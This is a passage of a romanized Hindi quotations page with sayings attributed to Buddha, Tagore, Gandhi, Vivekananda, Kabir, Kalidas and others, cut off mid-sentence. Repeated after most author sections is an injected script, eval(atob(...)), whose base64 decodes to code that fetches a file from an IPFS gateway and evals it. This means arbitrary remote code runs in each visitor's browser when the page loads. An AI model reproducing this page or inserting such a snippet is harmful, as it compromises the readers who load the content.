sakean. ~ gautam buddh vah vyakti samarth hai jo yah manata hai ki vah samarth hai. - buddh vah vyakti jo 50 logoan ko pyar karata hai, 50 dukhoan se ghira hota hai, jo kisi se bhi pyar nahian karata hai use koee sankat nahian hai. ~ gautam buddh yah vyakti ki svayan soch hi hoti hai jo us buraeeyoan ki taraph le jati haian n ki usake dushman. - buddh sharir ko svasth rakhana hamara karttavy hai, nahian to ham apane dimag ko majaboot avan svachchh nahian rakh paeange. ~ gautam buddh sabhi galat kary man se hi upajate haian | agar man parivartit ho jay to kya galat kary rah sakata hai. ~ gautam buddh svasthy sabase mahanh upahar hai, santosh sabase b da dhan tatha vishvasaniyata sabase achchha sanbandh hai. ~ gautam buddh saty ke raste par koee do hi galatiyaan kar sakata hai, ya to vah poora safar tay nahian karata ya safar ki shuruat hi nahian karata. ~ gautam buddh kisi jangali janavar ki tulana mean nishthahin tatha buri pravritiyoan vale mitr se adhik darana chahie kyoanki jangali janavar apake sharir ko chot pahuanchaega lekin bura mitr to apake man-mastishk ko ghayal karega. - buddh krodhit rahana, kisi aur par pheankane ke irade se ek garm koyala apane hath mean rakhane ki tarah hai, jo tumhi ko jalati hai. ~ gautam buddh koee shatru nahian, balki manushy ka man hi hai jo use pathabhrasht karata hai. - buddh ghrina, ghrina karane se kam nahian hoti, balki prem se ghatati hai, yahi shashvat niyam hai. ~ gautam buddh link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> raviandranath thakur kalakar prakriti ka premi hai at: vah usaka das bhi hai aur svami bhi. - raviandranath thakur jal mean min ka maun hai, prithvi par pashuoan ka kolahal aur akash mean panchhiyoan ka sangit par manushy mean jal ka maun prithvi ka kolahal aur akash ka sangit sabakuchh hai. - raviandranath thakur vishvas vah pakshi hai jo prabhat ke poorv aandhakar mean hi prakash ka anubhav karata hai aur gane lagata hai. - raviandranath thakur phool chun kar ekatr karane ke lie mat thaharo. age badhe chalo, tumhare path mean phool nirantar khilate raheange. - raviandranath thakur samay parivartan ka dhan hai. parantu gh di use keval parivartan ke roop mean dikhati hai, dhan ke roop mean nahian. - raviandranath thakur jis tarah ghoansala soti huee chi diya ko ashray deta hai usi tarah maun tumhari vani ko ashray deta hai. - raviandranath thakur eeshvar b de-b de samrajyoan se oob uthata hai lekin chhote-chhote pushpoan se kabhi khinn nahian hota. - raviandranath thakur manushy ka jivan ek mahanadi ki bhaanti hai jo apane bahav dvara navin dishaoan mean rah bana leti hai. - raviandranath thakur pratyek balak yah sandesh lekar ata hai ki eeshvar abhi manushyoan se nirash nahian hua hai. - raviandranath thakur yadi tum jivan se soory ke jane par ro p doge to aansoo bhari aankhe sitare kaise dekh sakeangi? - raviandranath thakur sabase uttam badala kshama karana hai. - ravindranath thakur agar ap galatiyoan ko rokane ke liye daravaze banh‍d karate haian to sath‍y bhi bahar hi rah jaega. - ravinh‍dranath thakur chandrama apana prakash sanpoorn akash mean phailata hai parantu apana kalank apane hi pas rakhata hai. - raviandr vishvavidyalay mahapurushoan ke nirman ke karakhane haian aur adhyapak unhean banane vale karigar haian. - raviandr jo dipak ko apane pichhe rakhate haian ve apane marg mean apani hi chhaya dalate haian. - raviandr link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhartrihari alasy manushy ka sabase b da shatru hai aur udyam sabase b da mitr, jisake sath rahane vala kabhi dukhi nahian hota. - bhartrihari dhairyavan manushy atmavishvas ki nauka par savar hokar apatti ki nadiyoan ko saphalatapoorvak par kar jate haian. - bhartrihari sachche vir ko yuddh mean mrityu se jitana kasht nahian hota usase kahian adhik kasht kayar ko yuddh ke bhay se hota hai. - bhatrihari is vishv mean svarn, gay aur prithvi ka dan denevale sulabh hai lekin praniyoan ko abhayadan denevale insan durlabh haian. - bhartrihari jisake pas n vidya hai, n tap hai, n dan hai, n jnan hai, n shil hai, n gun hai aur n dharm hai; ve mrityulok prithvi par bhar hote hai aur manushy roop to haian par pashu ki tarah charate haian (jivan vyatit karate haian). - bhartrihari jinake hath hi patr haian, bhikshatan se prapt ann ka nisvadi bhojan karate haian, vistirn charoan dishaean hi jinake vastr haian, prithvi par jo shayan karate haian, antakaran ki shuddhata se jo santusht hua karate haian aur dene bhavoan ko tyag kar janmajat karmoan ko nasht karate haian, aise hi manushy dhany hai. - bhartrihari ko labho gunisangamah (labh kya hai? guniyoan ka sath) — bhartrihari dan, bhog aur nash ye dhan ki tin gatiyaan haian. jo n deta hai aur n hi bhogata hai, usake dhan ki tritiy gati (nash) hoti hai. — bhartrihari jab tak sharir sh‍vash‍th hai, indriyoan ki shakti kshin nahian huee tatha budhapa nahian aya hai, tab tak samajhadar ko apane hit sadh lene chahie. - bhartrihari satyasaee baba charitrahin shiksha, manavata vihin vijnan aur naitikata vihin vyapar khataranak hote haian. - satyasaee baba bachche kore kap de ki tarah hote haian, jaisa chaho vaisa rang lo, unhean nishchit rang mean keval dubo dena paryapt hai. - satyasaee baba manav hriday mean ghrina, lobh aur dvesh vah vishaili ghas haian jo prem roopi paudhe ko nasht kar deti hai. - satyasaeean baba man ichh‍chhaoan ki gathari hai, jab tak ichh‍chhaoan ko ukha dakar nahian pheanka jaega, tab tak man ko nashh‍t karane ki asha vh‍yarth hogi. - shri sath‍yasaeean ramkrishna paramahans jis prakar maile darpan mean sooraj ka pratibianb nahian p data usi prakar malin aant:karan mean eeshvar ke prakash ka pratibianb nahian p d sakata. - ramkrishna paramahans nav jal mean rahe lekin jal nav mean nahian rahana chahie, isi prakar sadhak jag mean rahe lekin jag sadhak ke man mean nahian rahana chahie. - ramkrishna paramahans link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahatma gaandhi apako manavata mean vishvas nahian khona chahie. manavata ek sagar ki tarah hai, yadi sagar ki kuchh booande kharab haian to poora sagar ganda nahian ho jata hai. - mohanadas gaandhi apaka koee bhi kam mahatvahin ho sakata hai par mahattvapoorn yah hai ki ap kuchh karean. - mahatma gaandhi apane usooloan ke liye, maian svany marane tak ko bhi taiyar hooan, lekin kisi ko marane ke liye, bilkul nahian. - mahatma gaandhi apane lakshy ke prati adamy vishvas se prerit dridh sankalpi logoan ka ek chhota sa samooh bhi itihas ka pravah badal sakata hai. - gaandhi ‘ahiansa’ bhay ka nam bhi nahian janati. - mahatma gaandhi asha amar hai usaki aradhana kabhi nishh‍phal nahian hoti. - mahath‍ma gaandhi ath‍masanyam, anushasan aur balidan ke bina rahat ya mukti ki asha nahian ki ja sakati. - mahath‍ma gaandhi asha amar hai, usaki aradhana kabhi nishh‍phal nahian hoti. - mahath‍ma gaandhi akelapan kee bar apane ap se sarthak batean karata hai, vaisi sarthakata bhi d mean ya bhi d ke chiantan mean nahian milati. - mahath‍ma gaandhi aandha vah nahian jisaki aankh phoot gee hai, aandha vah jo apane dosh dhankata hai. - mahatma gaandhi jaise chhota-sa tinaka hava ka rukh batata hai vaise hi mamooli ghatanaean manushy ke hriday ki vritti ko batati haian. - mahatma gaandhi jo karm chho data hai vah girata hai, karm karate hue bhi jo usaka phal chho data hai vah chadhata hai. - mahatma gaandhi jisaka yah dava hai ki vah adhyatmik chetana ke shikhar par hai magar usaka svasthy aksar kharab rahata hai to isaka arth hai ki mamala kahian g dab d hai. - mahatma gaandhi jo jina nahian janata hai vah marana kaise jane? - mahatma gaandhi jo kala ath‍ma ko ath‍madarshan ki shiksha nahian deti, vah kala nahian hai. - mahath‍ma gaandhi jo log apani prashansa ke bhookhe hote haian, ve sabit karate haian ki unamean yogh‍yata nahian hai, jinamean yogh‍yata hai unaka dhh‍yan us or jata hi nahian hai. - mahath‍ma gaandhi jise push‍takean padhane ka shauq hai, vah sab jagah sukhi rah sakata hai. - mahath‍ma gaandhi muththi bhar sankalpavan log jinaki apane lakshy mean dridh astha hai, itihas ki dhara ko badal sakate haian. - mahatma gaandhi mahapurushoan ka sarvashreshth samman ham unaka anukaran kar ke hi kar sakate haian. - mahatma gaandhi mera jivan hi mera sandesh hai. — mahatma gaandhi maian hiansa par apatti uthata hooan kyoanki jab lagata hai ki isamean koee bhalaee hai, to aisi bhalaee asthaee hoti hai; lekin isase jo hani hoti hai vah sthayi hoti hai. - mohanadas karamachand gaandhi (1869-1948) man jh‍yoan-jh‍yoan hiansa se door hatata hai, th‍yoan-th‍yoan du:kh shaant ho jata hai. - mahath‍ma buddh maun sarvoth‍tam bhashan hai, agar bolana, zaroori ho to bhi kam se kam bolo, ek shabh‍d se kam chale to do nahian. - mahath‍ma gaandhi satyagrah bal prayog ke viparit hota hai, hiansa ke sanpoorn tyag mean hi satyagrah ki kalpana ki gee hai. - mahatma gaandhi sara hindustan gulami mean ghira hua nahian hai. jinhoanne pashchimi shiksha paee hai aur jo usake pash mean phans ge haian, ve hi gulami mean ghire hue haian. - mahatma gaandhi sunh‍dar dikhane ke liye bh dakile, kap de pahanane ki bajay apane, gunoan ko badhana chahie. - mahath‍ma gaandhi kisi vyakti ka vyaktitv usake vicharoan ka samooh hota hai; jo vah sochata hai, vaisa vah ban jata hai. - mahatma gaandhi krodh ek kism ka kshanik pagalapan hai. – mahatma gaandhi kahili aur man ki pavitrata, ek sath nahian rah sakatian. - mahath‍ma gaandhi karm ko sachet hokar aur soch samajhakar vivek dvara karana chahie anh‍yatha hani hoti hai. - mahath‍ma gaandhi vahi rashtr sachcha lokatantratmak hai jo apane karyoan ko bina hastakshep ke sucharu aur sakriy roop se chalata hai. - mahatma gaandhi vyakti apane vicharoan ka hi parinam hai - jaisa vah sochata hai, vaisa vah banata hai. - gaandhi vijnan ko vijnan tabhi kah sakate haian, jab vah sharir, man aur ath‍ma ki bhookh mitane ki poori takat rakhata ho. - mahath‍ma gaandhi hamean vah parivartan khud banana chahiye jise ham sansar me dekhana chahate haian. — mahatma gaandhi hansi man ki gaanthe b di asani se khol deti hai mere man ki bhi aur tumh‍hare man ki bhi. - mahath‍ma gaandhi hriday ki sachh‍chi prarthana se hi hamean sachh‍che kartavh‍y ka pata chalata hai, akhir mean to kartavh‍y karana hi prarthana ban jata hai. - mahath‍ma gaandhi garibi daivi abhishap nahian balki manavarachit shadayantr hai. — mahatma gaandhi gali sah lene ke asali mayane haian gali dene vale ke vash me n hona, gali denevale ko asaphal bana dena. yah nahian ki jaisa vah kahe, vaisa kahana. - mahatma gaandhi grahak hamare lie ek vishisht atithi hai. vah ham par nirbhar nahian hai. ham grahak par nirbhar haian. vah hamare kary mean vyavadhan nahian hai - balki vah isaka uddeshy hai. ham grahak ki seva kar koee upakar nahian kar rahe. vah seva ka mauqa dekar ham par upakar kar raha hai. - mahatma gaandhi pap se napharat karo, papi se pyar. - mahatma gandhi (1869-1948) prem karane vala vh‍yakti kabhi bhi uddand, ath‍yachari aur sh‍varthi nahian hota. - mahath‍ma gaandhi parajay se sath‍yagrahi ko nirasha nahian hoti, balki karyakshamata aur lagan badhati hai. - mahath‍ma gaandhi parajay se satyagrahi ko nirasha nahian hoti balki karyakshamata aur lagan badhati hai. - mahatma gaandhi sharir-bal se praph‍t sath‍ta manav deh ki, tarah kshanabhangur rahegi, jabaki ath‍mabal se praph‍t sath‍ta ajar-amar. - mahath‍ma gaandhi chianta ke saman sharir ka kshay aur kuchh nahian karata, aur jise eeshvar mean jara bhi vishvas hai use kisi bhi vishay mean chianta karane mean glani honi chahie. - mahatma gaandhi duniya ka astitv shastrabal par nahian, saty, daya aur atmabal par hai. - mahatma gaandhi ichh‍chha se du:kh ata hai, ichh‍chha se bhay, ata hai, jo ichh‍chhaoan se mukh‍t hai vah n du:kh janata hai n bhay. - mahath‍ma gaandhi thokar lagati hai aur dard hota hai tabhi manushy sikh pata hai. – mahatma gaandhi bhool karane mean pap to hai hi, parantu use chhipane mean usase bhi b da pap hai. - mahatma gaandhi namrata ka dhoang nahian chalata, n sadagi ka. - mahatma gaandhi link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> svami vivekanand sarvasadharan janata ki upeksha ek b da rashtriy aparadh hai. - svami vivekanand bhay se hi duahkh ate haian, bhay se hi mrityu hoti hai aur bhay se hi buraiyaan utpann hoti haian. - svami vivekanand pahale har achchhi bat ka mazak banata hai, phir usaka virodh hota hai aur phir use svikar kar liya jata hai. - svami vivekanand atmavishvas sarikha doosara koee mitr nahian. yahi hamari unnati mean sabase b da sahayak hota hai. - svami vivekanand kamanaean samudr ki bhaanti atript haian. poorti ka prayas karane par unaka kolahal aur badhata hai. - svami vivekanand jab tak tum svayan apane mean vishvas nahian karate, paramatma mean tum vishvas nahian kar sakate. - svami vivekanand jivan ka rahasy bhog mean sthit nahian hai, yah keval anubhav dvara nirantar sikhane se hi prapt hota hai. - svami vivekanand jo doosaroan se ghrina karata hai vah svayan patit hota hai. – svami vivekanand ‘hiansa’ ko ap sarvadhik shakti sanpann manate haian to manean par ek bat nishchit hai ki hiansa ka ashray lene par balavan vyakti bhi sada ‘bhay’ se prata dit rahata hai. doosari or hamean tin vastuoan ki avashyakata haiah anubhav karane ke lie hriday ki, kalpana karane ke lie mastishk ki aur kam karane ke lie hath ki. - svami vivekanand manushy ki mahanata usake kapadoan se nahian balki usake charitr se aanki jati hai. - svami vivekanand abhay-dan sabase bada dan hai. — svami vivekanand koee vyakti kitana hi mahanh kyoan n ho, aankhean mooandakar usake pichhe n chalie. yadi eeshvar ki aisi hi mansha hoti to vah har prani ko aankh, nak, kan, muanh, mastishk adi kyoan deta? - svami vivekanand maun, krodh ki sarvottam chikitsa hai. — svami vivekanand mahanh kary mahanh tyag se hi sampann hote haian. — svami vivekanand dharm vah sankalpana hai jo ek samany pashuvat manav ko pratham iansan aur phir bhagavan banane ka samarthay rakhati hai. - svami vivekaannand ichh‍chha roopi samudr sada atriph‍t rahata hai usaki maange jh‍yoan-jh‍yoan poori ki jati haian, th‍yoan-th‍yoan aur garjan karata hai. - sh‍vami vivekananh‍d adarsh ko pak dane ke lie sahash‍tr bar, age badhoan aur yadi phir bhi asaphal, ho jao to ekabar naya prayas, avashh‍y karo. - sh‍vami vive‍kananh‍d lakshh‍y ko hi apana jivan kary samajho har, samay usaka chiantan karo usi ka sh‍vaph‍n, dekho aur usi ke sahare jivit raho. - sh‍vami vivekananh‍d jitani ham doosaroan ki bhalaee karate haian, utana hi hamara h़day shuddh hota hai aur usamean eeshh‍var nivas karata hai. - vivekananh‍d dhan se nahian, santan se bhi nahian amrit sthiti ki prapti keval th‍yag se hi hoti hai. - sh‍vami vivekananh‍d is sansar mean jo apane ap par, bharosa nahian karata vah nastik hai. - sh‍vami vivekananh‍d ap eeshh‍var mean tab tak vishh‍vas nahian, kar paeange jab tak ap apane ap mean vishh‍vas nahian karate. - sh‍vami vivekananh‍d hamare vh‍yaktith‍v ki uth‍patti hamare vicharoan mean hai, isalie dhh‍yan rakhean ki ap kh‍ya vicharate haian, shabh‍d gaun haian, vichar mukhh‍y haian aur unaka, asar door tak hota hai. - sh‍vami vivekananh‍d jisane akele rahakar akelepan ko jita usane sab kuchh jita. - vivekananh‍d shraddha ka arth aandhavishh‍vas nahian hai. kisi granth mean kuchh likha hua ya kisi vh‍yakti ka kuchh kaha hua apane anubhav bina sach manana shraddha nahian hai. - sh‍vami vivekananh‍d jab har manushh‍y apane ap par v ek - doosare par vishh‍vas karane lagega, ash‍thavan ban jaega to yah dharati hi sh‍varg ban jaegi. - sh‍vami vivekananh‍d pichhe mat dekho age dekho, anant urja, anant uth‍sah, anant sahas aur anant dhairy tabhi mahanh kary, kiye ja sakate haian. - vivekananh‍d apane samane ek hi sadhh‍y rakhana chahie, jab tak vah siddh n ho tab tak usi ki, dhun mean magan raho, tabhi saphalata milati hai. - sh‍vami vivekananh‍d apaki saphalata ke liean keean log zimmedar hoange magar nishphalata ke liean sirph ap hi zimmedar hai. - svami vivekanand un logoan ke pas n baitho aur un logoan ko apane pas n bithao jinaki batoan se tumh‍hare chith‍t ko udvigh‍nata aur ashanti hoti hai – sh‍vami vivekananh‍d, rajayog har achh‍chhe, shreshh‍th aur mahanh kary mean tin charan hote haian, pratham usaka upahas u daya jata hai, doosara charan use samaph‍t ya nashh‍t karane ki had tak virodh kiya jata hai aur tisara charan hai sh‍vikriti aur manh‍yata, jo in tinoan charanoan mean bina vichalit huye adig rahata hai vah shreshh‍th ban jata hai aur usaka kary sarv sh‍vikrit hokar anukaraniy ban jata hai. – sh‍vami vivekananh‍d jagean, uthean aur n rukean jab tak lakshy tak n pahuanch jaean. - svami vivekanand link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> subhash chandr bos jivan mean koee chiz itani hanikarak aur khataranak nahian jitana daanvaandol sthiti mean rahana. - subhash chandr bos bina josh ke aj tak koee bhi mahanh kary nahian hua. - subhash chandr bos tum mujhe khoon do, mai tunhe azadi dooanga. - neta ji subhashachandr bos jis vh‍yakti ke hriday mean sangit ka sh‍pandan nahian hai vah vh‍yakti karm aur chiantan dvara kabhi mahanh nahian ban sakata. - subhash chanh‍dr bos jayashankar prasad jayashankar prasad pashan ke bhitar bhi madhur srot hote haian, usamean madira nahian shital jal ki dhara bahati hai. - jayashankar prasad purush hai kutoohal v prashn aur stri hai vishleshan, uttar aur sab batoan ka samadhan. - jayashankar prasad nari ki karuna aantarajagat ka uchchatam vikas hai, jisake bal par samast sadachar thahare hue haian. - jayashankar prasad sansar bhar ke upadravoan ka mool vyangy hai. hriday mean jitana yah ghusata hai utani katar nahian. - jayashankar prasad adhik harsh aur adhik unnati ke bad hi adhik du:kh aur patan ki bari ati hai. - jayashankar prasad manushy apani durbalata se bhali-bhaanti parichit rahata hai, par use apane bal se bhi avagat hona chahiye. — jayashankar prasad daridrata sab papoan ki janani hai, tatha lobh usaki sabase b di santan hai. - jayashankar prasad manushh‍yata ka ek paksh vah bhi hai, jahaan varn, dharm aur desh ko bhoolakar manushh‍y, manushh‍y ke lie ph‍yar karata haian. - jayashankar prasad link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kahavat achchhi yojana banana buddhimani ka kam hai par usako thik se poora karana dhairy aur parishram ka. - kahavat vani chaandi hai, maun sona hai, vani parthiv hai par maun divy. - kahavat jab paisa bolata hai tab saty maun rahata hai. - kahavat bhookh pyas se jitane logoan ki mrityu hoti hai usase kahian adhik logoan ki mrityu zyada khane aur zyada pine se hoti hai. - kahavat dhan ke bhi par hote haian. kabhi-kabhi ve svayan u date haian aur kabhi-kabhi adhik dhan lane ke lie unhean u dana p data hai. - kahavat samay aur buddhi b de se b de shok ko bhi kam kar dete haian. - kahavat jis tarah ek dipak poore ghar ka aandhera door kar deta hai usi tarah ek yogy putr sare kul ka daridr door kar deta hai - kahavat manushh‍y ke poorv karmoan se prarabh‍dh ka nirman hota hai aur prarabh‍dh se bhagh‍y banata hai, manushh‍y ke vartaman karm usake bhavishh‍y ka nirdharan karate haian. at: prapti jitani sahaj ho use sahejana usase kee guna dushh‍kar hota hai. - sansh‍krit ki prachin kahavat tapeshh‍vari so rajeshh‍vari aur rajeshh‍vari so narakeshh‍vari. arthath tapash‍ya se rajh‍y arthath shasakiy pad praph‍t hota hai aur rajakiy pad ya rajh‍y se narak ki prapti hoti hai – ek prachin bharatiy kahavat samay ki ret par kadamoan ke nishan baithakar nahian banaye ja sakate. ~ kahavat krodh ki ati to katar se bhi vinashakari hai. ~ bharat ki kahavat uchch kheti, madhyam vyapar aur nich naukari. ~ bharat ki kahavat link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vedavyas jo purusharth nahian karate unhean dhan, mitr, aishvary, sukh, svasthy, shaanti aur santosh prapt nahian hote. - vedavyas niyam ke bina aur abhiman ke sath kiya gaya tap vyarth hi hota hai. - vedavyas du:kh ko door karane ki ek hi amogh oshadhi hai- man se dukhoan ki chianta n karana. - vedavyas sath‍y se soory tapata hai, sath‍y se ag jalati hai,sath‍y se vayu bahati hai sab kuchh sath‍y mean hi pratishthit hai. - vedavh‍yas bair ke karan uth‍panh‍n hone vali ag ek paksh ko sh‍vaha kie bina kabhi shaant nahian hoti. - vedavh‍yas jaise jal dvara agni ko shaant kiya jata hai vaise hi jnan ke dvara man ko shaant rakhana chahie. - vedavyas jaise soory akash mean chhup kar nahian vichar sakata usi prakar mahapurush bhi sansar mean gupt nahian rah sakate. - vedavyas saty bolana shreshth hai (lekin) saty kya hai, yahi janana kathin hai. jo pranimatr ke liye atyant hitakar ho, mai isi ko saty kahata hooan. - vedavyas manushy ki ichchhaoan ka pet aj tak koee nahian bhar saka hai. - vedavyas eeshvar se prarthana karo, par apani patavar chalate raho. – vedavyas jo pranimatr ke liye atyant hitakar ho, mai isi ko saty kahata hooan. — vedavyas kshama asamarth manavi ka lakshan aur asamarthoan ka abhooshan hai. - vedavyas link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sudarshan muhabbat tyag ki maan hai. vah jahaan jati hai apane bete ko sath le jati hai. - sudarshan jo kam gh doan jal se nahian hota use dava ke do ghooant kar dete haian aur jo kam talavar se nahian hota vah kaanta kar deta hai. - sudarshan adharm ki sena ka senapati jhooth hai. jahaan jhooth pahuanch jata hai vahaan adharm-rajy ki vijay-duandubhi avashy bajati hai. - sudarshan dhan to vapas kiya ja sakata hai parantu sahanubhooti ke shabd ve rrin haian jise chukana manushy ki shakti ke bahar hai. - sudarshan lakshmi usi ke lie varadan banakar ati hai jo use doosaroan ke lie varadan banata hai. - sudarshan jo apane ko buddhiman samajhata hai vah samanyatah sabase b da moorkh hota hai. - sudarshan kirti ka nasha sharab ke nashe se bhi tez hai. sharab chho dana asan hai, kirti chho dana asan nahian. - sudarshan karuna mean shital agni hoti hai jo kroor se kroor vyakti ka hriday bhi ardr kar deti hai. - sudarshan link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kalidas prithvi par tin ratn haian. jal, ann aur subhashit lekin ajnani patthar ke tuk de ko hi ratn kahate haian. - kalidas yashasviyoan ka kartavy hai ki jo apane se ho d kare usase apane yash ki raksha bhi karean. - kalidas uday hote samay soory lal hota hai aur ast hote samay bhi. isi prakar sanpatti aur vipatti ke samay mahanh purushoan mean ekaroopata hoti hai. - kalidas kam ki samapti santoshaprad ho to parishram ki thakan yad nahian rahati. - kalidas sajjan purush badaloan ke saman dene ke lie hi koee vastu grahan karate haian. - kalidas sab prachin achchha aur sab naya bura nahian hota. buddhiman purush svayan pariksha dvara gun-doshoan ka vivechan karate haian. - kalidas jinaka chitt vikar utpann karane vali paristhitiyoan mean bhi asthir nahian hota ve hi sachche dhir purush hote haian. - kalidas sajjan purush bina kahe hi doosaroan ki asha poori kar dete hai jaise soory svayan hi ghar-ghar jakar prakash phaila deta hai. - kalidas dan-puny keval paralok mean sukh deta hai par yogy santan seva dvara ihalok aur tarpan dvara paralok donoan mean sukh deti hai. - kalidas avagun nav ki peandi mean ek chhed ke saman hai, jo chahe chhota ho ya b da ek din use duba dehga. - kalidas link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gosvami tulasidas phal ke ane se vriksh jhuk jate haian, varsha ke samay badal jhuk jate haian, sanpatti ke samay sajjan bhi namr hote haian. paropakariyoan ka svabhav hi aisa hai. - tulasidas vriksh apane sir par garami sahata hai par apani chhaya mean doosaroan ka tap door karata hai. - tulasidas svapn vahi dekhana chahie, jo poora ho sake. - tulasi kirati bhaniti bhooti bhali so, surasari sam sabakanh hit hoee॥ - tulasidas gagan chadhahian raj pavan prasanga. (hava ka sath pakar dhool akash par chadh jata hai) — gosvami tulasidas eeshh‍var ne sansar ko karm pradhan bana rakha hai, isamean jo manushh‍y jaisa karm karata hai usako, vaisa hi phal praph‍t hota hai.. - gosh‍vami tulasidas vriksh apane sir par garami sahata hai par apani, chhaya mean doosaroan ka tap door karata hai. - tulasidas avasar ane par manushh‍y yadi kau di (dam) dene mean chook jaye jo to phir lakh rupaya dene se kh‍ya hota hai ? dvitiya ke chandrama ko n dekha jae phir paksh bhar chandrama uday rahe, usase kh‍ya hoga? - tulasidas rahim uttam purushoan ki sanpatti ka mukhy prayojan yahi hai ki auroan ki vipatti ka nash ho. - rahim tho de din rahane vali vipatti achchhi hai kyoan ki usi se mitr aur shatru ki pahachan hoti hai. - rahim kabir saanp ke daant mean vish rahata hai, makkhi ke sir mean aur bichchhoo ki pooanchh mean kiantu durjan ke poore sharir mean vish rahata hai. - kabir kasht p dane par bhi sadhu purush malin nahian hote, jaise sone ko jitana tapaya jata hai vah utana hi nikharata hai. - kabir jis tarah jauhari hi asali hire ki pahachan kar sakata hai, usi tarah guni hi gunavanh ki pahachan kar sakata hai. – kabir maya mari n man mara, mar mar gaye sharir. asha trishna na mari, kah gaye das kabir॥ - kabir kabira ap thagaiye, aur n thagiye koy. ap thage sukh hot hai, aur thage du:kh hoy॥ - kabir kabira ghas n nindiye jo paanvan tar hoy. u di kai parai jo aankh mean kharo duhelo hoy॥ - kabir yadi sadaguru mil jaye to jano sab mil gaya, phir kuchh milana shesh nahian raha. yadi sadaguru nahian mile to samajhoan koee nahian mila, kyoanki mata-pita, putr aur bhaee to ghar-ghar mean hote haian. ye saansarik nate sabhi ko sulabh hai, parantu sadaguru ki prapti durlabh hai. - kabiradas keval jnan ki kathani se kh‍ya hota hai, acharan mean, sthirata nahian hai, jaise kagaz ka mahal dekhate hi gir p data hai, vaise acharan rahit manushh‍y shighr patit hota hai. - kabir khet aur bij uth‍tam ho to bhi, kisanoan ke bone mean mutthi ke aantar se bij kahian jh‍yada kahian kam p date haian, isi prakar shishh‍y uth‍tam hone par bhi guruoan ki bhinh‍n-bhinh‍n shaili hone par bhi shishh‍yoan ko kam jnan hua to isamean shishh‍yoan ka kh‍ya dosh. - sant kabir jab apaka janm hua to ap roe aur jag hansa tha. apane jivan ko is prakar se jiean ki jab ap ki mrityu ho to duniya roe aur ap hansean. - kabir link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pan. ramapratap tripathi apattiyaan manushyata ki kasauti haian. in par khara utare bina koee bhi vyakti saphal nahian ho sakata. - pan. ramapratap tripathi jis manushy mean atmavishvas nahian hai vah shaktiman ho kar bhi kayar hai aur pandit hokar bhi moorkh hai. - pan. ramapratap tripathi mitroan ka upahas karana unake pavan prem ko khandit karana hai. - pan. ramapratap tripathi kautily jnani jan vivek se sikhate haian, sadharan manushy anubhav se, ajnani purush avashyakata se aur pashu svabhav se. - kautily saty se kirti prapt ki jati hai aur sahayog se mitr banae jate haian. - kautily arthashastr sant tiruvalluvar neki se vimukh ho jana aur badi 